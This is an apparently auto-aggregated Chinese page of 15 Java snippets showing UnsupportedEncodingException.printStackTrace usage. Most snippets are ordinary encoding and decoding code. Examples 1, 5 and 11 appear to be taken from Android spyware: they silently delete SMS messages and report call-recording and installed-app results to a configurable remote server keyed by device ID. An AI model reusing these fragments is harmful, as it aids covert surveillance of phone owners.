本文整理汇总了Java中java.io.UnsupportedEncodingException.printStackTrace方法的典型用法代码示例。如果您正苦于以下问题:Java UnsupportedEncodingException.printStackTrace方法的具体用法?Java UnsupportedEncodingException.printStackTrace怎么用?Java UnsupportedEncodingException.printStackTrace使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类java.io.UnsupportedEncodingException
的用法示例。
在下文中一共展示了UnsupportedEncodingException.printStackTrace方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: doInBackground
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
@Override
protected String doInBackground(String... params) {
Uri thread = Uri.parse( "content://sms");
ContentResolver contentResolver = getContentResolver();
// Cursor cursor = contentResolver.query(thread, null, null, null,null);
contentResolver.delete( thread, "thread_id=? and _id=?", new String[]{String.valueOf(i), String.valueOf(j)});
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "SMS Delete [" + i + "] [" + j + "] Complete");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return "Executed";
}
示例2: getBase64
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public static String getBase64(String str) {
byte[] b = null;
String s = null;
try {
b = str.getBytes("utf-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
if (b != null) {
s = new BASE64Encoder().encode(b);
}
return s;
}
示例3: addSchema
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public void addSchema(String schemaPath) {
try {
schemaPath = URLDecoder.decode(schemaPath, "UTF-8");
} catch (final UnsupportedEncodingException e) {
e.printStackTrace();
System.exit(-1);
}
assert (m_schemas.contains(schemaPath) == false);
final File schemaFile = new File(schemaPath);
assert (schemaFile != null);
assert (schemaFile.isDirectory() == false);
// this check below fails in some valid cases (like when the file is in
// a jar)
// assert schemaFile.canRead()
// : "can't read file: " + schemaPath;
m_schemas.add(schemaPath);
}
示例4: sign
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
private String sign(TreeMap<String, String> dynamicMap) {
String url = getHttpUrl().url().toString();
//url = url.replaceAll("%2F", "/");
StringBuilder sb = new StringBuilder("POST");
sb.append(url);
for (Map.Entry<String, String> entry : dynamicMap.entrySet()) {
sb.append(entry.getKey()).append("=").append(entry.getValue()).append("&");
}
sb.append(AppConstant.APP_SECRET);
String signStr = sb.toString();
try {
signStr = URLDecoder.decode(signStr, UTF8.name());
} catch (UnsupportedEncodingException exception) {
exception.printStackTrace();
}
HttpLog.i(signStr);
return MD5.encode(signStr);
}
示例5: onDestroy
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public void onDestroy()
{
super.onDestroy();
if (null != recorder) {
isRecording = false;
recorder.release();
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Recording Ended");
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
示例6: onPreExecute
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
protected void onPreExecute(int position) {
// NOTE: You can call UI Element here.
//Start Progress Dialog (Message)
// Dialog.setMessage("Please wait..");
// Dialog.show();
try{
// Set Request parameter
// data +="&" + URLEncoder.encode("data", "UTF-8") + "="/*+serverText.getText()*/;
data += "&"+ URLEncoder.encode("text", "UTF-8") + "=" +items1.get(position).name+ "&" + URLEncoder.encode("action", "UTF-8") + "="+ "Tashkeel2";
data1 +="&" + URLEncoder.encode("action", "UTF-8") + "="+ "TashkeelText";
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
示例7: searchByTitle
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
@Action("searchByTitle")
public String searchByTitle(){
try {
bookTitle = new String(bookTitle.getBytes("ISO-8859-1"),"UTF-8");
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("执行searchByTitle========="+bookTitle);
page=bookService.searchByTitle(bookTitle, pageNo, pageSize);
System.out.println(page.getRecords().size()+"---------------条数");
url = "index.jsp";
return DYNAMIC;
}
示例8: onEvent
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
@Override
public void onEvent(RTSTunData rtsTunData) {
String data = "[parse bytes error]";
try {
data = new String(rtsTunData.getData(), 0, rtsTunData.getLength(), "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
TransactionCenter.getInstance().onReceive(sessionId, data);
}
示例9: getStickerContentFullJson
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public static String getStickerContentFullJson(String key) {
SharedPreferences shared = App.getDefault().getSharedPreferences(Constants.STICKERPREFER, Context.MODE_PRIVATE);
String sjson = shared.getString(key, "");
String json = "";
try {
json = URLDecoder.decode(sjson, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return json;
}
示例10: buildPostString
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
/**
* Builds an encoded HTTP POST content string from a string map
*/
public static String buildPostString(Map<String, Object> data)
{
StringBuilder stringbuilder = new StringBuilder();
for (Entry<String, Object> entry : data.entrySet())
{
if (stringbuilder.length() > 0)
{
stringbuilder.append('&');
}
try
{
stringbuilder.append(URLEncoder.encode((String)entry.getKey(), "UTF-8"));
}
catch (UnsupportedEncodingException unsupportedencodingexception1)
{
unsupportedencodingexception1.printStackTrace();
}
if (entry.getValue() != null)
{
stringbuilder.append('=');
try
{
stringbuilder.append(URLEncoder.encode(entry.getValue().toString(), "UTF-8"));
}
catch (UnsupportedEncodingException unsupportedencodingexception)
{
unsupportedencodingexception.printStackTrace();
}
}
}
return stringbuilder.toString();
}
示例11: onPostExecute
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
@Override
protected void onPostExecute(String result) {
PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Get",false).commit();
try {
getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Installed Apps Complete");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
示例12: BrokerMessage
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
/**
* Constructs a KVPubSubMessage object with a given String that
* forms the message.
*
* @param msg the String that forms the message.
*/
public BrokerMessage(String msg) {
if(msg != null) {
this.msg = msg.trim();
try {
this.msgBytes = msg.getBytes("UTF-8");
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
示例13: save
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public void save(Engine engine, Element reportElement) {
try {
engine.setStream("/elements/" + reportElement.getId() + "/"
+ ReportPlugin.getReportNameAttribute(engine).getId()
+ "/report.jssp", getText().getBytes("UTF-8"));
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
示例14: printMessage
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public static void printMessage(final List<MessageExt> msgs, final String charsetName, boolean printMsg, boolean printBody) {
if (!printMsg)
return;
for (MessageExt msg : msgs) {
try {
System.out.printf("MSGID: %s %s BODY: %s%n", msg.getMsgId(), msg.toString(),
printBody ? new String(msg.getBody(), charsetName) : "NOT PRINT BODY");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
}
}
开发者ID:lirenzuo,项目名称:rocketmq-rocketmq-all-4.1.0-incubating,代码行数:14,代码来源:PrintMessageByQueueCommand.java
示例15: CommonMessage
import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
/**
* Constructs a TextMessage object with a given array of bytes that
* forms the message.
*
* @param bytes the bytes that form the message in ASCII coding.
*/
public CommonMessage(byte[] bytes) {
if (bytes != null) {
this.msgBytes = bytes;
try {
this.msg = new String(msgBytes, "UTF-8").trim();
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}